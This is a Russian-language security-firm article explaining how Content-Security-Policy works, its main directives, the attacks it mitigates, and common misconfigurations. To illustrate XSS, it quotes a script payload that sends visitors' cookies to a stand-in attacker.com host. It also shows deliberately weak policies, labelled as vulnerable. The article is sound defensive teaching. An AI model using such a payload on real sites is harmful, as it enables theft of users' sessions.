Content-Security-Policy (CSP) — стандартизированный набор правил, которые указывают браузеру, каким источникам контента можно доверять, а какие нужно блокировать.
Рассказываем, как работает CSP, от каких атак защищает, а так же как внедрить и настроить его без ошибок.
Правильно настроенный CSP блокирует попытки выполнить вредоносный код с непроверенных источников, но даже небольшая ошибка в настройке может оставить приложение уязвимым.
Эти правила помогают защитить сайт от XSS и других атак. Они определяют, какие скрипты, стили, изображения браузеру можно загружать и выполнять. По сути, это набор инструкций, которым строго следует браузер.

Что такое Content Security Policy, и как он блокирует атаки

2 июля 2025
15 минут
эксперт в информационной безопасности в Start X
Андрей Жаркевич
автор, редактор в ИБ, главная по фактчекингу в компании
Ульяна Крюкова
автор, редактор в ИБ, главная по фактчекингу в компании
Ульяна Крюкова
эксперт в информационной безопасности в Start X
Андрей Жаркевич

Как работает CSP и зачем он нужен

Content-Security-Policy (CSP) — не просто заголовок, а слой защиты, который встроен в браузер. Он работает на стороне клиента и позволяет заранее задать, откуда можно загружать скрипты, стили, изображения и другие ресурсы. Это особенно важно для защиты от XSS, когда злоумышленник пытается выполнить код прямо в браузере пользователя.

CSP позволяет сократить или полностью устранить пути проведения XSS-атак с помощью явного указания доменов, которым можно доверять как источникам скриптов.

Если браузер поддерживает CSP, он будет исполнять только те скрипты, которые загружены с разрешенных источников. Остальные скрипты, в том числе, встроенные и обработчики событий в HTML, будут заблокированы.

Представим, что на вашем сайте появился новый рекламный баннер, который загружает скрипт с подозрительного внешнего ресурса bad-ads.com/ad.js.

Без CSP браузер выполнит этот скрипт, и он может украсть данные пользователей или изменить страницу.

Если в CSP прописать:
Content-Security-Policy: script-src 'self' https://trusted-analytics.com
то браузер разрешит выполнение скриптов только с текущего домена и с домена trusted-analytics.com. Все остальные, включая bad-ads.com, будут заблокированы. Это предотвратит выполнение вредоносного кода.

Настройка CSP через HTTP-заголовки может выглядеть так:
Content-Security-Policy: default-src 'self'; script-src 'self'
https://cdn.securescripts.net; style-src 'self'; img-src 'self' https://images.cdn.com
Этот заголовок разрешает загрузку всех ресурсов только с текущего домена (self), а скрипты — дополнительно с cdn.securescripts.net. Изображения можно загружать с текущего домена и с images.cdn.com.

Если на сайте появится вредоносный скрипт, загруженный с неизвестного источника, браузер просто заблокирует его выполнение.

Например, вы подключаете стороннюю библиотеку аналитики и изображения с CDN. Без настроенного CSP злоумышленник может попытаться вставить скрипт с внешнего сайта. Но если политика разрешает загрузку только с self и указанных доменов, браузер не выполнит подставной код:
Content-Security-Policy: default-src 'self'; script-src 'self' https://analytics.example
Скачайте карту знаний и навыков по безопасной разработке
В ней — 13 уязвимостей и технологий, которые нужно знать разработчику, чтобы писать безопасный код

Основные директивы CSP

CSP состоит из множества директив — специальных правил, которые определяют, каким типам контента и источникам можно доверять. Ниже приводим основные директивы, которые чаще всего используются при настройке Content-Security-Policy.

default-src
Определяет, откуда по умолчанию можно загружать любой контент. Часто используется значение 'self' для разрешения ресурсов с текущего домена или 'none' для запрета всех загрузок, которые не указаны явно.

script-src
Ограничивает домены, с которых разрешено загружать и выполнять JavaScript. Чтобы разрешить скрипты только из текущего домена, используйте script-src 'self'.

style-src
Указывает допустимые источники таблиц стилей CSS. Чтобы разрешить таблицы стилей только из текущего домена, используйте style-src 'self'.

connect-src
Указывает разрешенные домены для прямых подключений JavaScript, которые используют объекты EventSource, WebSocket или XMLHttpRequest.

object-src
Позволяет контролировать домены-источники плагинов. Можно указать разрешенные типы плагинов, используя директиву plugin-types. Не поддерживается в Firefox начиная с v76.

img-src
Позволяет ограничить домены-источники изображения.

font-src
Определяет, с каких доменов разрешено загружать веб-шрифты.

media-src
Ограничивает источники для аудио- и видеоконтента.

child-src
Задает допустимые адреса для создания фреймов и запуска worker-скриптов.

frame-ancestors
Контролирует, какие сайты могут встраивать текущую страницу в <iframe> и другие контейнеры.

Это основные директивы, но их гораздо больше, а настройка зависит от задач сайта.

Приведем пример добавления заголовка Content-Security-Policy в Java-приложении. Если вы используете HTTP Servlet API, добавить CSP-заголовок можно так:
response.addHeader("Content-Security-Policy", "default-src 'self'")
Этот код устанавливает политику, которая разрешает загрузку ресурсов только с текущего домена.

Телеграм-канал Start X

Подписаться
Наши разборы мошеннических схем поймет даже бабушка

От каких атак защищает CSP

CSP помогает защитить веб-приложения от атак, таких как XSS, HTML-инъекции и контент-спуфинг, а также собирает информацию о попытках их проведения. Кроме того, политика блокирует кликджекинг и ограничивает загрузку контента с внешних источников, которые могут использоваться злоумышленниками.
Межсайтовый скриптинг (XSS)
XSS-атака позволяет злоумышленнику внедрить вредоносный JavaScript-код. Этот код может украсть данные пользователей, изменить содержимое страницы или перенаправить посетителей на фишинговые сайты.

CSP не позволяет запускать скрипты, если они загружены из ненадежных источников.

Например, злоумышленник размещает в комментариях на сайте такой код:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
Если сайт не фильтрует ввод и не использует CSP, этот скрипт выполнится в браузере других посетителей и передаст их cookie злоумышленнику.

При правильной настройке CSP, разрешаются только безопасные источники скриптов и запрещается выполнение встроенного JavaScript:
Content-Security-Policy: script-src 'self'
Это помогает блокировать вредоносный код, даже если он появляется на странице.

В 2024 году в CMS Formwork, которую часто размещают на GitHub Pages, нашли уязвимость: JavaScript можно было внедрить в описание сайта, и он исполнялся при каждом открытии страницы. CSP, который запрещает встроенные скрипты, мог бы полностью нейтрализовать такую атаку.
Clickjacking
Clickjacking (англ. «захват клика») — атака, при которой злоумышленник помещает доверенный сайт в невидимый фрейм и заставляет пользователя кликнуть на нужную кнопку. Например, под видом кнопки «Скачать» может скрываться кнопка «Перевести деньги».

Ниже — пример базового сценария кликджекинга.

Пользователь переходит на вредоносный сайт, где видит кнопку «Получить бонус». Под этой кнопкой, в прозрачном iframe, находится страница его онлайн-банка с открытой формой подтверждения перевода. Когда пользователь кликает, он на самом деле инициирует транзакцию.

Чтобы защититься от кликджекинга, используют директиву:
Content-Security-Policy: frame-ancestors 'none'
Эта настройка запрещает встраивание сайта в iframe и делает атаку невозможной.
Внедрение вредоносного кода
Злоумышленник может попытаться загрузить на сайт поддельные скрипты, модифицированные библиотеки или другие опасные файлы с внешних серверов.

Например, на сайте используется библиотека из внешнего источника — CDN. Злоумышленник получает доступ к этому CDN и заменяет файл на вредоносный скрипт. Если в CSP нет ограничений на источник, браузер выполнит вредоносный код.

Правильная настройка CSP позволяет загрузку только с проверенных адресов:
Content-Security-Policy: script-src 'self' https://trusted-scripts.com;
В результате браузер запустит только скрипты, полученные с текущего домена ('self') и сайта trusted-scripts.com.

Уязвимости CSP и как их избежать

Content Security Policy — эффективный механизм защиты сайтов от XSS, clickjacking и внедрения вредоносных скриптов. При правильной настройке он значительно снижает вероятность успешных атак, однако ошибки в конфигурации могут свести всю защиту на нет.

Рассмотрим самые распространенные уязвимости CSP.
Разрешение встроенных скриптов (unsafe-inline)
Директива unsafe-inline разрешает выполнение встроенных скриптов прямо в HTML, из-за чего XSS-атаки остаются возможными.

Пример уязвимой настройки:
Content-Security-Policy: script-src 'self' 'unsafe-inline';
Рекомендуем использовать nonce или hash, чтобы точно указать, какие встроенные скрипты допустимы к выполнению.
Использование универсального разрешения (*)
Если в политике используется символ *, это означает, что разрешается загрузка ресурсов с любых источников, что фактически отключает фильтрацию и делает политику бессмысленной.

Пример уязвимой настройки:
Content-Security-Policy: img-src *;
Лучше ограничить загрузку изображений конкретными адресами, например:
Content-Security-Policy: img-src 'self' https://cdn.example.com;
Report-Only включен, но защита не активирована
Во время тестирования CSP можно включить режим report-only. В этом режиме браузер не блокирует контент, а только отправляет отчеты о нарушениях:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://report-collector.com;
Но важно не забыть включить активную защиту, иначе политика останется формальной и не остановит атаку.

Как правильно внедрить CSP

В веб-приложениях контент, такой как скрипты, стили, шрифты и изображения, обычно загружается с разных серверов и доменов. Поэтому при включении строгой политики CSP часть функциональности может нарушиться или сайт вовсе перестанет работать.

Для упрощения внедрения CSP можно сначала включить режим report-only. В этом режиме политика не блокирует загрузку ресурсов, но фиксирует все нарушения и отправляет отчеты на указанный в заголовке адрес.

Рассказываем, как создать безопасные рабочие настройки CSP.

  1. Напишите полный список всех запросов и источников контента вашего приложения.
  2. Максимально сократите количество используемых источников.
  3. Создайте черновик строгих правил CSP с параметром report-only и запустите тестирование, чтобы выявить нарушения.
  4. Проанализируйте отчеты, уточните правила CSP или перенесите контент, чтобы устранить нарушения.

Кроме этого, важно настроить отчеты о нарушениях CSP.

Для этого помимо установки заголовка Content-Security-Policy-Report-Only необходимо указать параметр report-to — адрес, на который будут отправляться уведомления о нарушениях CSP в формате JSON.

Также существует устаревшая директива report-uri, которая позволяет указать URI эндпоинта для получения отчетов о нарушениях через HTTP POST-запрос. Директива report-to должна заменить report-uri, но пока поддерживается не всеми браузерами.

Чтобы обеспечить совместимость с текущими версиями браузеров и подготовиться к будущей поддержке report-to, рекомендуем указывать обе директивы одновременно. В браузерах с поддержкой report-to директива report-uri будет игнорироваться.

Для повышения безопасности рекомендуем придерживаться следующих принципов:

  • Применяйте жесткие настройки, указывайте 'self', а для встроенных скриптов используйте nonce или hash.
  • Откажитесь от unsafe-inline и не допускайте разрешения всех источников с помощью символа *.
  • Начинайте с режима report-only, но не задерживайтесь на нем слишком долго — своевременно переходите в активный боевой режим.

На платформе Start EDU подробно разбираем, как настраивать CSP так, чтобы он блокировал атаки, а еще даем практические задания на поиск уязвимостей в приложениях. Запишитесь на бесплатное демо, и наш эксперт расскажет, как Start EDU помогает продуктовым командам предотвращать уязвимости и сразу писать безопасный код.

Что еще почитать

Мужчина в кресле с ноутбуком

Подпишитесь на дайджест Start X

Еженедельная подборка материалов и аналитики про цифровые атаки на людей, технологии защиты, безопасность инфраструктуры и приложений
Нажимая кнопку «Отправить заявку» вы соглашаетесь с политикой обработки персональных данных.